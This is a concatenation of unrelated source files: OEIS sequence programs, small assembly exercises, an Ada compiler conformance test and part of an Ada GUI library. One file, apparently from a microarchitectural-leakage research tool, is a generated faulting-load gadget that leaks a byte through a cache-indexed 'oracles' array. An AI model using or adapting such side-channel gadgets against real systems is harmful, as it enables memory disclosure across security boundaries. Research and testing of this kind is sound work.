; A020926: Expansion of 1/(1-4*x)^(15/2). ; Submitted by <NAME> ; 1,30,510,6460,67830,624036,5200300,40116600,290845350,2003601300,13223768580,84151254600,518932736700,3113596420200,18236779032600,104557533120240,588136123801350,3252046802195700,17705588145287700,95051052148386600,503770576386448980,2638798257262351800,13673772787632186600,70152399519156435600,356608030889045214300,1797304475680787880072,8986522378403939400360,44599777729856588135120,219813190240007470094520,1076326655657967612186960,5238123057535442379309872,25345756730010205061176800 mov $2,$0 add $2,7 mul $2,2 bin $2,$0 add $0,14 bin $0,7 mul $0,$2 div $0,3432
oeis/083/A083094.asm
neoneye/loda-programs
11
96650
<reponame>neoneye/loda-programs<filename>oeis/083/A083094.asm ; A083094: Numbers k such that Sum_{j=0..k} (binomial(k,j) mod 3) is odd. ; Submitted by <NAME>(s1) ; 0,8,20,24,56,60,72,80,164,168,180,188,216,224,236,240,488,492,504,512,540,548,560,564,648,656,668,672,704,708,720,728,1460,1464,1476,1484,1512,1520,1532,1536,1620,1628,1640,1644,1676,1680,1692,1700,1944,1952 mov $2,$0 div $0,4 seq $0,240400 ; Numbers n having a partition into distinct parts of form 3^k-2^k. mul $0,2 add $0,$2 mul $0,9 div $0,6 mul $0,6 add $0,2 div $0,4 mul $0,4
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_31_2128.asm
ljhsiun2/medusa
9
19122
<reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_31_2128.asm .global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %rbp push %rbx push %rcx push %rdi // Store mov $0x6df, %rcx nop nop nop nop nop xor %rbx, %rbx mov $0x5152535455565758, %r15 movq %r15, %xmm7 movups %xmm7, (%rcx) nop nop nop nop inc %rcx // Store lea addresses_US+0x19e9f, %r14 nop nop nop nop add $5515, %rbp movw $0x5152, (%r14) nop nop nop nop nop cmp $9575, %r14 // Store lea addresses_D+0xd607, %rbx nop nop nop nop xor %r13, %r13 mov $0x5152535455565758, %rdi movq %rdi, (%rbx) nop nop nop nop inc %rcx // Store lea addresses_A+0x1c2df, %rbx nop nop nop and $48880, %r13 movb $0x51, (%rbx) nop nop nop dec %rbp // Store lea addresses_WT+0x2781, %rdi nop nop nop nop cmp $41480, %rbx mov $0x5152535455565758, %rcx movq %rcx, %xmm4 movups %xmm4, (%rdi) nop and $36378, %rcx // Store lea addresses_A+0x1c2df, %r15 nop nop nop nop xor %rbx, %rbx mov $0x5152535455565758, %rcx movq %rcx, %xmm0 vmovups %ymm0, (%r15) nop nop nop nop inc %rcx // Store lea addresses_PSE+0xa389, %r15 nop xor $20704, %rbx mov $0x5152535455565758, %rbp movq %rbp, %xmm5 movups %xmm5, (%r15) nop nop nop nop sub $61654, %r14 // Store lea addresses_WT+0x1ebd3, %rbp nop nop nop cmp %rdi, %rdi mov $0x5152535455565758, %r15 movq %r15, %xmm0 vmovaps %ymm0, (%rbp) nop nop nop add %r15, %r15 // Faulty Load lea addresses_A+0x1c2df, %rdi add %rcx, %rcx vmovups (%rdi), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %rbp lea oracles, %r13 and $0xff, %rbp shlq $12, %rbp mov (%r13,%rbp,1), %rbp pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_US', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'00': 31} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
asm/draw_spiro.asm
johnny-morrice/x86_64-spirograph-rosetta
0
86818
; Draw a Spirograph ; <NAME> 2011 ; Released under the WTFPL section .text extern sin, cos ; Draw the spiro into the vertex array ; xmm0: moving ; xmm1: fixed ; xmm2: offset ; rdi: vertex array ; rsi: length of vertex array draw_spiro: push rbp mov rbp, rsp sub rsp, 56 ; rbp - 8 is time t mov qword [rbp - 8], 0 ; rbp - 16 is time increment mov rax, __float64__(0.03) mov qword [rbp - 16], rax ; rbp - 24 becomes the path magnitude, fixed - moving subsd xmm1, xmm0 movq [rbp - 24], xmm1 ; rbp - 32 becomes the moving circle's radius movq [rbp - 32], xmm0 ; rbp - 40 becomes the offset movq [rbp - 40], xmm2 mov rcx, rsi ; Drawing loop parametric: push rcx ; rbp - 48 becomes t * magnitude / moving mov rax, [rbp - 8] movq xmm0, rax mov rax, [rbp - 24] movq xmm1, rax mulsd xmm0, xmm1 mov rax, [rbp - 32] movq xmm1, rax divsd xmm0, xmm1 movq [rbp - 48], xmm0 ; Write x into the vertex array push rdi call spiro_x pop rdi movq [rdi], xmm0 add rdi, 8 ; Write y into the vertex array push rdi call spiro_y pop rdi movq [rdi], xmm0 add rdi, 8 pop rcx ; Increment time mov rax, [rbp - 8] movq xmm0, rax mov rax, [rbp - 16] movq xmm1, rax addsd xmm0, xmm1 movq [rbp - 8], xmm0 ; Decrement counter dec rcx jnz parametric mov rsp, rbp pop rbp ret ; spiro_x is a little helper for draw_spiro ; y coordinate of spiro spiro_x: mov rax, [rbp - 48] movq xmm0, rax call cos mov rax, [rbp - 40] movq xmm1, rax mulsd xmm0, xmm1 movq [rbp - 56], xmm0 mov rax, [rbp - 8] movq xmm0, rax call cos mov rax, [rbp - 24] movq xmm1, rax mulsd xmm0, xmm1 mov rax, [rbp - 56] movq xmm1, rax addsd xmm0, xmm1 ret ; spiro_y is a little helper for draw_spiro ; y coordinate of spiro spiro_y: mov rax, [rbp - 48] movq xmm0, rax call sin mov rax, [rbp - 40] movq xmm1, rax mulsd xmm0, xmm1 movq [rbp - 56], xmm0 mov rax, [rbp - 8] movq xmm0, rax call sin mov rax, [rbp - 24] movq xmm1, rax mulsd xmm0, xmm1 mov rax, [rbp - 56] movq xmm1, rax subsd xmm0, xmm1 ret
quadratic.asm
raphaelogbo/mips-quadratic-equation
0
173536
<gh_stars>0 .data values_message: .asciiz "Enter the root of root A,B C\n" a_value:.asciiz "Enter the value for A\n" b_value: .asciiz "Enter the value for B\n" c_value: .asciiz "Enter the value for C\n" complex_root: .asciiz "The root is a complex root" first_root:.asciiz "The value root1 is\n" second_root: .asciiz "The value for root2 is\n" .text #values message la $a0, values_message li $v0, 4 syscall #input for a la $a0, a_value li $v0, 4 syscall li $v0, 5 syscall move $t0, $v0 #input for b la $a0, b_value li $v0, 4 syscall li $v0, 5 syscall move $t1, $v0 #input for c la $a0, c_value li $v0, 4 syscall li $v0, 5 syscall move $t2, $v0 subu $t3, $zero, $t1 #convert b from a positive number to negative number #covert $t3 i.e (-b) to a floating point register $f0 mtc1 $t3, $f0 cvt.d.w $f0, $f0 #convert 2 to a floating point and store in register #f2 li $t3, 2 mtc1 $t3, $f2 cvt.d.w $f2, $f2 #convert (a) i.e $t0 to a floating point and store in $f4 mtc1 $t0, $f4 cvt.d.w $f4, $f4 #move 4 to register $t3 li $t3, 4 mul $t6, $t1, $t1 #getting b square (b^2) $t1^2 = $t6 mul $t5, $t0, $t2 #multiplication of a*c i.e $t0 * $t2 = $t5 mul $t3, $t5, $t3 #multiply $t3 * $t5 and store it back in $t3 subu $t7, $t6, $t3 # subtract $t3 from $t6 and store in $t7 as your D #condition if D is less than or equal to zero ble $t7, 0, stopProgramme #solving for square root of d which is $t7 div $t8, $t7, 2 # $t8 is storing the loop times when D is greater than ten li $t3, 1 # $t3 is storing the loop counter #convert d in $t7 to a floating point $f6 which will b my n value mtc1 $t7, $f6 cvt.d.w $f6, $f6 #convert d in $t7 to a floating point $f6 which will b my x value mtc1 $t7, $f8 cvt.d.w $f8, $f8 #condition if $t7 is less than or equal to 10 ble $t7, 10, calculate loop: beq $t3, $t8, endloop div.d $f10, $f6, $f8 # $f10 = n/x add.d $f8, $f8, $f10 # $f8 = x + n/x div.d $f8, $f8, $f2 # $f8 = (x + n/x)/2.0 addu $t3, $t3, 1 # increment $t3 by 1 b loop #back to the loop calculate: loop_2: beq $t3, $t7, endloop div.d $f10, $f6, $f8 # $f10 = n/x add.d $f8, $f8, $f10 # $f8 = x + n/x div.d $f8, $f8, $f2 # $f8 = (x + n/x)/2.0 addu $t3, $t3, 1 # increment $t3 by 1 b loop #back to the loop b exit endloop: mul.d $f4, $f2, $f4 #the first root sub.d $f6, $f0, $f8 div.d $f10, $f6, $f4 #second root add.d $f6, $f0, $f8 div.d $f2, $f6, $f4 #print out first root la $a0, first_root li $v0, 4 syscall mov.d $f12, $f10 li $v0, 3 syscall #print out second root la $a0, second_root li $v0, 4 syscall mov.d $f12, $f2 li $v0, 3 syscall stopProgramme: la $a0, complex_root li $v0, 4 syscall b exit exit: li $v0,10 syscall
programs/oeis/006/A006579.asm
neoneye/loda
22
244561
; A006579: Sum of gcd(n,k) for k = 1 to n-1. ; 0,1,2,4,4,9,6,12,12,17,10,28,12,25,30,32,16,45,18,52,44,41,22,76,40,49,54,76,28,105,30,80,72,65,82,132,36,73,86,140,40,153,42,124,144,89,46,192,84,145,114,148,52,189,134,204,128,113,58,300,60,121,210,192,160,249,66,196,156,281,70,348,72,145,250,220,196,297,78,352,216,161,82,436,212,169,198,332,88,477,234,268,212,185,238,464,96,301,342,420 lpb $0 add $2,1 mov $3,$2 gcd $3,$0 sub $0,1 add $1,$3 lpe mov $0,$1
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c3/c34005o.ada
best08618/asylo
7
30921
<gh_stars>1-10 -- C34005O.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- FOR DERIVED MULTI-DIMENSIONAL ARRAY TYPES WHOSE COMPONENT TYPE -- IS A NON-LIMITED TYPE: -- CHECK THAT ALL VALUES OF THE PARENT (BASE) TYPE ARE PRESENT FOR -- THE DERIVED (BASE) TYPE WHEN THE DERIVED TYPE DEFINITION IS -- CONSTRAINED. -- CHECK THAT ANY CONSTRAINT IMPOSED ON THE PARENT SUBTYPE IS ALSO -- IMPOSED ON THE DERIVED SUBTYPE. -- HISTORY: -- JRK 9/17/86 CREATED ORIGINAL TEST. WITH REPORT; USE REPORT; PROCEDURE C34005O IS SUBTYPE COMPONENT IS INTEGER; PACKAGE PKG IS FIRST : CONSTANT := 0; LAST : CONSTANT := 10; SUBTYPE INDEX IS INTEGER RANGE FIRST .. LAST; TYPE PARENT IS ARRAY (INDEX RANGE <>, INDEX RANGE <>) OF COMPONENT; FUNCTION CREATE ( F1, L1 : INDEX; F2, L2 : INDEX; C : COMPONENT; DUMMY : PARENT -- TO RESOLVE OVERLOADING. ) RETURN PARENT; END PKG; USE PKG; TYPE T IS NEW PARENT (IDENT_INT (4) .. IDENT_INT (5), IDENT_INT (6) .. IDENT_INT (8)); SUBTYPE SUBPARENT IS PARENT (4 .. 5, 6 .. 8); TYPE S IS NEW SUBPARENT; X : T := (OTHERS => (OTHERS => 2)); Y : S := (OTHERS => (OTHERS => 2)); PACKAGE BODY PKG IS FUNCTION CREATE ( F1, L1 : INDEX; F2, L2 : INDEX; C : COMPONENT; DUMMY : PARENT ) RETURN PARENT IS A : PARENT (F1 .. L1, F2 .. L2); B : COMPONENT := C; BEGIN FOR I IN F1 .. L1 LOOP FOR J IN F2 .. L2 LOOP A (I, J) := B; B := B + 1; END LOOP; END LOOP; RETURN A; END CREATE; END PKG; BEGIN TEST ("C34005O", "CHECK THAT ALL VALUES OF THE PARENT (BASE) " & "TYPE ARE PRESENT FOR THE DERIVED (BASE) TYPE " & "WHEN THE DERIVED TYPE DEFINITION IS " & "CONSTRAINED. ALSO CHECK THAT ANY CONSTRAINT " & "IMPOSED ON THE PARENT SUBTYPE IS ALSO IMPOSED " & "ON THE DERIVED SUBTYPE. CHECK FOR DERIVED " & "MULTI-DIMENSIONAL ARRAY TYPES WHOSE COMPONENT " & "TYPE IS A NON-LIMITED TYPE"); -- CHECK THAT BASE TYPE VALUES NOT IN THE SUBTYPE ARE PRESENT. BEGIN IF CREATE (6, 9, 2, 3, 1, X) /= ((1, 2), (3, 4), (5, 6), (7, 8)) OR CREATE (6, 9, 2, 3, 1, Y) /= ((1, 2), (3, 4), (5, 6), (7, 8)) THEN FAILED ("CAN'T CREATE BASE TYPE VALUES OUTSIDE THE " & "SUBTYPE"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => FAILED ("CALL TO CREATE RAISED CONSTRAINT_ERROR"); WHEN OTHERS => FAILED ("CALL TO CREATE RAISED EXCEPTION"); END; IF ((1, 2), (3, 4), (5, 6), (7, 8)) IN T OR ((1, 2), (3, 4), (5, 6), (7, 8)) IN S THEN FAILED ("INCORRECT ""IN"""); END IF; -- CHECK THE DERIVED SUBTYPE CONSTRAINT. IF T'FIRST /= 4 OR T'LAST /= 5 OR S'FIRST /= 4 OR S'LAST /= 5 OR T'FIRST (2) /= 6 OR T'LAST (2) /= 8 OR S'FIRST (2) /= 6 OR S'LAST (2) /= 8 THEN FAILED ("INCORRECT 'FIRST OR 'LAST"); END IF; BEGIN X := ((1, 2, 3), (4, 5, 6)); Y := ((1, 2, 3), (4, 5, 6)); IF PARENT (X) /= PARENT (Y) THEN -- USE X AND Y. FAILED ("INCORRECT CONVERSION TO PARENT"); END IF; EXCEPTION WHEN OTHERS => FAILED ("EXCEPTION RAISED BY OK ASSIGNMENT"); END; BEGIN X := (4 => (6 .. 8 => 0)); FAILED ("CONSTRAINT_ERROR NOT RAISED -- " & "X := (4 => (6 .. 8 => 0))"); IF X = (4 => (6 .. 8 => 0)) THEN -- USE X. COMMENT ("X ALTERED -- " & "X := (4 => (6 .. 8 => 0))"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ("WRONG EXCEPTION RAISED -- " & "X := (4 => (6 .. 8 => 0))"); END; BEGIN X := (4 .. 6 => (6 .. 8 => 0)); FAILED ("CONSTRAINT_ERROR NOT RAISED -- " & "X := (4 .. 6 => (6 .. 8 => 0))"); IF X = (4 .. 6 => (6 .. 8 => 0)) THEN -- USE X. COMMENT ("X ALTERED -- " & "X := (4 .. 6 => (6 .. 8 => 0))"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ("WRONG EXCEPTION RAISED -- " & "X := (4 .. 6 => (6 .. 8 => 0))"); END; BEGIN X := (4 .. 5 => (6 .. 7 => 0)); FAILED ("CONSTRAINT_ERROR NOT RAISED -- " & "X := (4 .. 5 => (6 .. 7 => 0))"); IF X = (4 .. 5 => (6 .. 7 => 0)) THEN -- USE X. COMMENT ("X ALTERED -- " & "X := (4 .. 5 => (6 .. 7 => 0))"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ("WRONG EXCEPTION RAISED -- " & "X := (4 .. 5 => (6 .. 7 => 0))"); END; BEGIN X := (4 .. 5 => (6 .. 9 => 0)); FAILED ("CONSTRAINT_ERROR NOT RAISED -- " & "X := (4 .. 5 => (6 .. 9 => 0))"); IF X = (4 .. 5 => (6 .. 9 => 0)) THEN -- USE X. COMMENT ("X ALTERED -- " & "X := (4 .. 5 => (6 .. 9 => 0))"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ("WRONG EXCEPTION RAISED -- " & "X := (4 .. 5 => (6 .. 9 => 0))"); END; BEGIN Y := (4 => (6 .. 8 => 0)); FAILED ("CONSTRAINT_ERROR NOT RAISED -- " & "Y := (4 => (6 .. 8 => 0))"); IF Y = (4 => (6 .. 8 => 0)) THEN -- USE Y. COMMENT ("Y ALTERED -- " & "Y := (4 => (6 .. 8 => 0))"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ("WRONG EXCEPTION RAISED -- " & "Y := (4 => (6 .. 8 => 0))"); END; BEGIN Y := (4 .. 6 => (6 .. 8 => 0)); FAILED ("CONSTRAINT_ERROR NOT RAISED -- " & "Y := (4 .. 6 => (6 .. 8 => 0))"); IF Y = (4 .. 6 => (6 .. 8 => 0)) THEN -- USE Y. COMMENT ("Y ALTERED -- " & "Y := (4 .. 6 => (6 .. 8 => 0))"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ("WRONG EXCEPTION RAISED -- " & "Y := (4 .. 6 => (6 .. 8 => 0))"); END; BEGIN Y := (4 .. 5 => (6 .. 7 => 0)); FAILED ("CONSTRAINT_ERROR NOT RAISED -- " & "Y := (4 .. 5 => (6 .. 7 => 0))"); IF Y = (4 .. 5 => (6 .. 7 => 0)) THEN -- USE Y. COMMENT ("Y ALTERED -- " & "Y := (4 .. 5 => (6 .. 7 => 0))"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ("WRONG EXCEPTION RAISED -- " & "Y := (4 .. 5 => (6 .. 7 => 0))"); END; BEGIN Y := (4 .. 5 => (6 .. 9 => 0)); FAILED ("CONSTRAINT_ERROR NOT RAISED -- " & "Y := (4 .. 5 => (6 .. 9 => 0))"); IF Y = (4 .. 5 => (6 .. 9 => 0)) THEN -- USE Y. COMMENT ("Y ALTERED -- " & "Y := (4 .. 5 => (6 .. 9 => 0))"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ("WRONG EXCEPTION RAISED -- " & "Y := (4 .. 5 => (6 .. 9 => 0))"); END; RESULT; END C34005O;
Tareas/Ensamblador/Librerias y procedimientos/cero_usar_graficos.asm
TEC-2014092195/IC3101-Arquitectura_De_Computadores
0
97738
Pila Segment db 64 Dup(' Pila ') Pila EndS Datos Segment VRAM dw 0B800h Datos EndS Codigo Segment Assume cs:codigo, ds:datos, ss:pila Inicio: xor cx,cx mov cx,Datos mov Ds,cx mov si,20 mov ax,VRAM mov ds,ax mov al,'X' mov byte ptr ds:[si],al mov ah,01h int 21h mov ax,4c00h int 21h Codigo EndS End Inicio
ada_gui.adb
jrcarter/Ada_GUI
19
30766
-- An Ada-oriented GUI library -- Implementation derived from Gnoga -- -- Copyright (C) 2021 by PragmAda Software Engineering -- -- Released under the terms of the 3-Clause BSD License. See https://opensource.org/licenses/BSD-3-Clause with Ada.Containers.Indefinite_Ordered_Sets; with Ada.Containers.Vectors; with Ada.Directories; with Ada.Exceptions; with Ada.Numerics.Elementary_Functions; with Ada.Real_Time; with Ada.Strings.Fixed; with Ada_GUI.Gnoga.Application; with Ada_GUI.Gnoga.Gui.Element.Canvas.Context_2D; with Ada_GUI.Gnoga.Gui.Element.Common; with Ada_GUI.Gnoga.Gui.Element.Form; with Ada_GUI.Gnoga.Gui.Element.Multimedia; with Ada_GUI.Gnoga.Gui.View.Console; with Ada_GUI.Gnoga.Gui.View.Grid; with Ada_GUI.Gnoga.Gui.Window; with Ada_GUI.Gnoga.Colors; package body Ada_GUI is type Form_Set is array (Positive range <>, Positive range <>) of Gnoga.Gui.Element.Form.Form_Type; type Form_Ptr is access Form_Set; -- Extensive use of access due to nature of Gnoga package Column_Maps is new Ada.Containers.Vectors (Index_Type => Positive, Element_Type => Boolean); package Row_Maps is new Ada.Containers.Vectors (Index_Type => Positive, Element_Type => Column_Maps.Vector, "=" => Column_Maps."="); Window : Gnoga.Gui.Window.Window_Type; View : Gnoga.Gui.View.Console.Console_View_Type; Grid : Gnoga.Gui.View.Grid.Grid_View_Type; Form : Form_Ptr; Valid : Row_Maps.Vector; -- Valid (Row) (Column) is True if (Row, Column) is an Area Setup : Boolean := False with Atomic; function Set_Up return Boolean is (Setup); function Converted (Alignment : Alignment_ID) return Gnoga.Gui.Element.Alignment_Type is (case Alignment is when Left => Gnoga.Gui.Element.Left, when Center => Gnoga.Gui.Element.Center, when Right => Gnoga.Gui.Element.Right); procedure Set_Up (Grid : in Grid_Set := (1 => (1 => (others => <>) ) ); ID : in Positive := 8080; Title : in String := "Ada-GUI Application"; Icon : in String := "favicon.ico") is G_Grid : Gnoga.Gui.View.Grid.Grid_Rows_Type (Grid'Range (1), Grid'Range (2) ); begin -- Set_Up Fill_Grid : for Row in Grid'Range (1) loop Valid.Append (New_Item => Column_Maps.Empty_Vector); Grid_Cols : for Column in Grid'Range (2) loop G_Grid (Row, Column) := (if Grid (Row, Column).Kind = Area then Gnoga.Gui.View.Grid.COL else Gnoga.Gui.View.Grid.SPN); Valid (Row).Append (New_Item => Grid (Row, Column).Kind = Area); end loop Grid_Cols; end loop Fill_Grid; Gnoga.Application.Initialize (Main_Window => Window, ID => ID, Title => Title, Icon => Icon); View.Create (Parent => Window); Ada_GUI.Grid.Create (Parent => View, Layout => G_Grid); Form := new Form_Set (Grid'Range (1), Grid'Range (2) ); All_Rows : for I in Form'Range (1) loop All_Columns : for J in Form'Range (2) loop if Grid (I, J).Kind = Area then Form (I, J).Create (Parent => Ada_GUI.Grid.Panel (I, J).all); Form (I, J).Text_Alignment (Value => Converted (Grid (I, J).Alignment) ); end if; end loop All_Columns; end loop All_Rows; Setup := True; end Set_Up; type Radio_Info is record Button : Gnoga.Gui.Element.Form.Radio_Button_Type; Label : Gnoga.Gui.Element.Form.Label_Type; end record; type Radio_List is array (Positive range <>) of Radio_Info; type Radio_Ptr is access Radio_List; type Widget_Info (Kind : Widget_Kind_ID := Button) is record case Kind is when Audio_Player => Audio : Gnoga.Gui.Element.Multimedia.Audio_Access; when Background_Text => Background : Gnoga.Gui.Element.Common.Span_Access; when Button => Switch : Gnoga.Gui.Element.Common.Button_Access; when Check_Box => Check : Gnoga.Gui.Element.Form.Check_Box_Access; Check_Label : Gnoga.Gui.Element.Form.Label_Access; when Graphic_Area => Canvas : Gnoga.Gui.Element.Canvas.Canvas_Access; when Password_Box => Password : Gnoga.Gui.Element.Form.Password_Access; Password_Label : Gnoga.Gui.Element.Form.Label_Access; when Radio_Buttons => Radio : Radio_Ptr; when Selection_List => Selector : Gnoga.Gui.Element.Form.Selection_Access; Multi : Boolean; when Text_Area => Area : Gnoga.Gui.Element.Form.Text_Area_Access; when Text_Box => Box : Gnoga.Gui.Element.Form.Text_Access; Box_Label : Gnoga.Gui.Element.Form.Label_Access; end case; end record; package Widget_Lists is new Ada.Containers.Vectors (Index_Type => Natural, Element_Type => Widget_Info); Widget_List : Widget_Lists.Vector; function Kind (ID : Widget_ID) return Widget_Kind_ID is (Widget_List (ID.Value).Kind); function Adjusted (Row : in Positive; Column : in Positive) return Positive; -- If (Row, Column) is an Extension, reduces Column until (Row, Column) is an Area procedure Break (Desired : in Boolean; Row : in Positive; Column : in Positive); -- If Desired, make the next thing declared in Form (Row, Column) appear below existing things there function Adjusted (Row : in Positive; Column : in Positive) return Positive is begin -- Adjusted Find : for C in reverse 1 .. Column loop if Valid (Row) (C) then return C; end if; end loop Find; raise Program_Error; end Adjusted; procedure Break (Desired : in Boolean; Row : in Positive; Column : in Positive) is -- Empty begin -- Break if Desired then Form (Row, Column).New_Line; end if; end Break; function New_Audio_Player (Row : Positive := 1; Column : Positive := 1; Break_Before : Boolean := False; Source : String := ""; Controls : Boolean := True) return Widget_ID is ID : constant Widget_ID := (Value => Widget_List.Last_Index + 1); Widget : Widget_Info (Kind => Audio_Player); begin -- New_Audio_Player Break (Desired => Break_Before, Row => Row, Column => Adjusted (Row, Column) ); Widget.Audio := new Gnoga.Gui.Element.Multimedia.Audio_Type; Widget.Audio.Create (Parent => Form (Row, Adjusted (Row, Column) ), Source => Source, Controls => Controls, Preload => True, ID => ID.Value'Image); Widget_List.Append (New_Item => Widget); return ID; end New_Audio_Player; function New_Background_Text (Row : Positive := 1; Column : Positive := 1; Text : String := ""; Break_Before : Boolean := False) return Widget_ID is ID : constant Widget_ID := (Value => Widget_List.Last_Index + 1); Widget : Widget_Info (Kind => Background_Text); begin -- New_Background_Text Break (Desired => Break_Before, Row => Row, Column => Adjusted (Row, Column) ); Widget.Background := new Gnoga.Gui.Element.Common.Span_Type; Widget.Background.Create (Parent => Form (Row, Adjusted (Row, Column) ), Content => Text, ID => ID.Value'Image); Widget_List.Append (New_Item => Widget); return ID; end New_Background_Text; function New_Button (Row : Positive := 1; Column : Positive := 1; Text : String := ""; Break_Before : Boolean := False) return Widget_ID is ID : constant Widget_ID := (Value => Widget_List.Last_Index + 1); Widget : Widget_Info (Kind => Button); begin -- New_Button Break (Desired => Break_Before, Row => Row, Column => Adjusted (Row, Column) ); Widget.Switch := new Gnoga.Gui.Element.Common.Button_Type; Widget.Switch.Create (Parent => Form (Row, Adjusted (Row, Column) ), Content => Text, ID => ID.Value'Image); Widget_List.Append (New_Item => Widget); return ID; end New_Button; function New_Check_Box (Row : Positive := 1; Column : Positive := 1; Label : String := ""; Break_Before : Boolean := False; Active : Boolean := False) return Widget_ID is ID : constant Widget_ID := (Value => Widget_List.Last_Index + 1); Widget : Widget_Info (Kind => Check_Box); begin -- New_Check_Box Break (Desired => Break_Before, Row => Row, Column => Adjusted (Row, Column) ); Widget.Check := new Gnoga.Gui.Element.Form.Check_Box_Type; Widget.Check.Create (Form => Form (Row, Adjusted (Row, Column) ), ID => ID.Value'Image); Widget.Check.Checked (Value => Active); Widget.Check_Label := new Gnoga.Gui.Element.Form.Label_Type; Widget.Check_Label.Create (Form => Form (Row, Adjusted (Row, Column) ), Label_For => Widget.Check.all, Content => Label, Auto_Place => False); Widget_List.Append (New_Item => Widget); return ID; end New_Check_Box; function New_Graphic_Area (Row : Positive := 1; Column : Positive := 1; Width : Positive; Height : Positive; Break_Before : Boolean := False) return Widget_ID is ID : constant Widget_ID := (Value => Widget_List.Last_Index + 1); Widget : Widget_Info (Kind => Graphic_Area); begin -- New_Graphic_Area Break (Desired => Break_Before, Row => Row, Column => Adjusted (Row, Column) ); Widget.Canvas := new Gnoga.Gui.Element.Canvas.Canvas_Type; Widget.Canvas.Create (Parent => Form (Row, Adjusted (Row, Column) ), Width => Width, Height => Height, ID => ID.Value'Image); Widget_List.Append (New_Item => Widget); return ID; end New_Graphic_Area; function New_Password_Box (Row : Positive := 1; Column : Positive := 1; Text : String := ""; Break_Before : Boolean := False; Label : String := ""; Width : Positive := 20) return Widget_ID is ID : constant Widget_ID := (Value => Widget_List.Last_Index + 1); Widget : Widget_Info (Kind => Password_Box); begin -- New_Password_Box Break (Desired => Break_Before, Row => Row, Column => Adjusted (Row, Column) ); Widget.Password := new Gnoga.Gui.Element.Form.Password_Type; Widget.Password.Create (Form => Form (Row, Adjusted (Row, Column) ), Size => Width, Value => Text, ID => ID.Value'Image); Widget.Password_Label := new Gnoga.Gui.Element.Form.Label_Type; Widget.Password_Label.Create (Form => Form (Row, Adjusted (Row, Column) ), Label_For => Widget.Password.all, Content => Label); Widget_List.Append (New_Item => Widget); return ID; end New_Password_Box; use Ada.Strings.Unbounded; Next_Button : Positive := 1; function New_Radio_Buttons (Row : Positive := 1; Column : Positive := 1; Label : Text_List; Break_Before : Boolean := False; Orientation : Orientation_ID := Vertical) return Widget_ID is ID : constant Widget_ID := (Value => Widget_List.Last_Index + 1); Widget : Widget_Info (Kind => Radio_Buttons); Name : String := Next_Button'Image; begin -- New_Radio_Buttons Name (Name'First) := 'R'; Next_Button := Next_Button + 1; Widget.Radio := new Radio_List (Label'Range); Break (Desired => Break_Before, Row => Row, Column => Adjusted (Row, Column) ); All_Buttons : for I in Label'Range loop Widget.Radio (I).Button.Create (Form => Form (Row, Adjusted (Row, Column) ), Checked => I = Label'First, Name => Name, ID => I'Image & 'R' & 